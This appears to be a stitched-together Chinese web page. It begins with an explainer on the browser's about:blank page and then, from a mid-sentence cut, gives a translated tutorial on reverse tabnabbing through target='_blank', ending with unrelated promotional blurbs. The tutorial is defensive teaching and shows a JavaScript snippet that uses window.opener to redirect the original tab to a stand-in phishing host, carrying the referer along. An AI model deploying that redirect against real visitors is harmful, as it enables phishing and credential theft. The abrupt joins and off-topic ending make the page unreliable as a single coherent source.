上網過程中，相信不少用戶都遇到過“about:blank”頁面。這個頁面干什么用的？在哪些情況下會遇到這個頁面？好消息是，出現這個頁面并不代表著嚴重的問題。事實上，很多人故意把它用作他們的主頁。這樣，他們的瀏覽器就會在空白頁面上打開。

“about:blank”頁面有什么用？

許多網絡瀏覽器使用 URL 來訪問網頁。 “About”是與瀏覽器通信以顯示內部網頁的“about:URL”命令的一部分。因此，您遇到的空白頁面實際上是您的網絡瀏覽器中的一個內置命令。

“about”部分處理瀏覽器的多個內部命令。事實上，Web 瀏覽器使用幾個“about:”命令來重新加載已內置在瀏覽器中的頁面。

例如，嘗試在地址欄中輸入“about:settings”，您將被重定向到瀏覽器的設置頁面。其他一些常見的“關于”頁面是“about:downloads”、“about:about”、“about:plugins”和“about:extensions”。

當您在 Web 瀏覽器的地址欄中輸入帶有“about:”命令的新 URL 時，瀏覽器會加載該命令的內置頁面。這就是為什么在瀏覽器中輸入“about:blank”命令會自動顯示一個空白頁面。此頁面不是從 Internet 加載的，而是內置在您的瀏覽器中的。

“about:blank”頁面在什么情況下會出現？

● 您單擊了在新選項卡或窗口中打開的下載鏈接。此過程可能會強制瀏覽器在啟動下載時顯示空白頁面。

● 您在瀏覽器的地址欄中輸入了錯誤的 URL，瀏覽器將您重定向到感染了惡意軟件或病毒的錯誤頁面。

● 錯誤輸入 URL 還可能使瀏覽器在顯示內容上感到困惑，從而導致顯示空白頁。

● 加載頁面的時候網絡連接糟糕

● 網頁或瀏覽器本身的 HTML、Java 和其他代碼中的錯誤或錯誤。

● 喜歡在他們的瀏覽應用程序上有一個空白頁面的人，使用 about:blank 頁面作為他們的主頁。這給了他們一定程度的隱私。

有一些互聯網應用程序從其用戶那里竊取數據的案例。用戶啟動他們的網絡瀏覽器并最終被多個廣告轟炸。正因為如此，許多人也更愿意避免這些帶有空白主頁的廣告。

about:blank 頁面對您的計算機無害。您不是惡意軟件攻擊的受害者。它只是一個空白屏幕，當您的互聯網瀏覽器沒有足夠的信息可以采取行動時，它會在網站上彈出。

也就是說，某些瀏覽應用程序中存在惡意軟件可能會導致它們顯示空白頁面。如果您擔心惡意程序可能會感染您的計算機，您可以使用推薦的防病毒軟件對其進行掃描和修復。

各大瀏覽器如何將 about:blank 頁面設置為默認主頁

● Chrome

1. 在 PC 端打開 Chrome 應用

2. 將光標移動到菜單選項，選擇設置，點擊最下方的“On startup”

3. 移動光標到“更多選項”，然后選擇第一個選項“打開新標簽頁”

● Microsoft Edge

1. 打開 Edge瀏覽器，點擊“...”進入設置頁面

2. 進入“Start, home, and new tabs”選項，選擇“remove”，將會自動選擇第一個選項。

● Mozilla Firefox

1. 打開 Firefox 設置>選項>主頁

2. 在自定義 URL 中輸入“about:blank”，或者將“Blank Page”設置為默認主頁

常，在網頁中使用鏈接時，如果希望瀏覽器在新選項卡中打開指定的 URL，就會在 a 標記上添加屬性 target=“_blank”。

但也恰恰是這個屬性為網絡釣魚攻擊者提供了可趁之機。

基礎知識

parent 和 opener

在談論 opener 之前，讓我們首先看一下<iframe>中的 parent。

我們知道，用于父子頁面交互的對象通常是在<iframe>中提供的，這個對象就是 window.parent。我們可以通過 window.parent 對象從 iframe 的頁面中訪問父頁面的 window 對象。

opener 與 parent 一樣，但它只用于通過<a target="_blank">在新標簽頁中打開頁面。你可以直接使用 window.opener 從通過<a target="_blank">打開的頁面中訪問源頁面的 window 對象。

同域和跨域

瀏覽器提供了完整的跨域保護功能。當域名相同時，parent 對象和 opener 對象都是父頁面的 window 對象。當域名不同時，parent 和 opener 是 global 對象。這個 global 對象只提供對屬性的非常有限的訪問，而且不允許訪問大多數屬性（如果嘗試訪問它們將直接拋出 DOMException）。

在<iframe>中，提供了一個 sandbox 屬性來控制 iframe 中頁面的權限，因此即使在同一個域中，也可以控制<iframe>的安全性。

如何利用漏洞

如果你的網站上有一個使用 target=“_ blank”的鏈接，一旦用戶點擊該鏈接并進入新標簽頁，如果新標簽頁的網頁上有惡意代碼，用戶將直接被導航到虛假網站。這個時候，如果用戶返回到你的標簽頁，他們將看到已被替換的頁面。

步驟

1. 你的網站 https://example.com 上有一個鏈接：

<a href="https://an.evil.site" target="_blank">Enter an "evil" website</a>

2. 用戶單擊這個鏈接，并在新選項卡上打開新頁面。網站可以通過 HTTP 標頭中的 Referer 屬性確定用戶的來源。

并且網頁中包含類似這樣的 JavaScript 代碼：

const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

3. 現在，用戶繼續瀏覽新選項卡，而原始的選項卡已導航到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4. 惡意網站 https://a.fake.site 根據查詢字符串偽造了一個用于欺騙用戶的頁面（你也可以在此期間再次跳轉，讓瀏覽器地址欄中的地址看起來更令人困惑）。

5. 用戶關閉 https://an.evil.site 選項卡，并返回原始網站，但你會發現根本回不去了。

上述攻擊步驟在跨域的場景中有效。因為在跨域時，opener 對象與 parent 對象是一樣的，兩者都受到了限制，都只提供非常有限的訪問屬性。而在僅有的少數屬性中，大多數都不允許被訪問（如果試圖訪問它們將直接拋出 DOMException）。

但在跨域的場景中，opener 仍然可以調用 location.replace 方法，而 parent 則不能。

如果是在同一個域中（例如網站上的頁面嵌入了惡意代碼），情況會嚴重得多。

如何防御

<iframe>提供了 sandbox 屬性，你可以通過以下方式來使用鏈接：

1.Referrer Policy 和 noreferrer

在上述攻擊步驟中，HTTP 標頭中包含了 Referer 屬性。實際上，你可以將 Referrer Policy 添加到 HTTP 的響應標頭中來保護鏈接源的隱私。

你需要通過修改后端代碼來實現 Referrer Policy。在前端，你還可以通過將<a>標簽的 rel 屬性指定為“noreferrer”來確保鏈接源的隱私。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">Enter an "evil" website</a>

不過，需要注意的是，即使你限制了 referer 的傳遞，仍然無法防止原始頁面被惡意重定向。

2.noopener

出于安全方面的考慮，現代瀏覽器允許將<a>標簽的 rel 屬性指定為“noopener”，因此在打開的新選項卡中，opener 對象將不再可用，因為它已被設置為 null。

<a href="https://an.evil.site" target="_blank" rel="noopener">Enter an "evil" website</a>

3.JavaScript

noopener 屬性似乎解決了所有問題，但你仍然需要考慮瀏覽器的兼容性問題。

如你所見，大多數瀏覽器現在都支持 rel=“noopener”。但是，對于那些稍微陳舊一點的瀏覽器和古老的瀏覽器，只有 noopener 屬性是不夠的。

因此，你必須使用以下這樣的 JavaScript 代碼。

"use strict";
function openUrl(url) {
  var newTab=window.open();
  newTab.opener=null;
  newTab.location=url;
}

最好的建議

首先，如果你的網站鏈接使用了 target=“_ blank”，那么也應該將 rel=“noopener”添加鏈接中（建議也添加 rel=“noreferrer”）。例如：

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">Enter an "evil" website</a>

當然，當跳轉到第三方網站時，可以為了 SEO 添加 rel=“nofollow”，所以最終會像這樣：

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">Enter an "evil" website</a>

性能

最后，我們來談談性能問題。

如果網站使用了<a target="_blank">，則新打開的選項卡的性能將影響當前頁面。這個時候，如果在新打開的頁面中執行非常臃腫的 JavaScript 腳本，原始選項卡將受到影響，并且會出現停滯現象（當然，它不會卡住）。

如果將 noopener 添加到鏈接中，則兩個選項卡不會相互干擾，因此原始頁面的性能不會受到新頁面的影響。

英文原文

The Hidden Dangers You Have Never Noticed: target=“_blank” and “opener”

關注我并轉發此篇文章，私信我“領取資料”，即可免費獲得InfoQ價值4999元迷你書！

這個適合初學者的指南中，你將學習如何創建一個響應式電子郵件模板。你將跟隨逐步說明以及代碼片段設計一個在任何設備上都看起來很棒的電子郵件模板。

這個項目非常適合渴望掌握電子郵件設計基礎的新手！

（本文視頻講解：java567.com）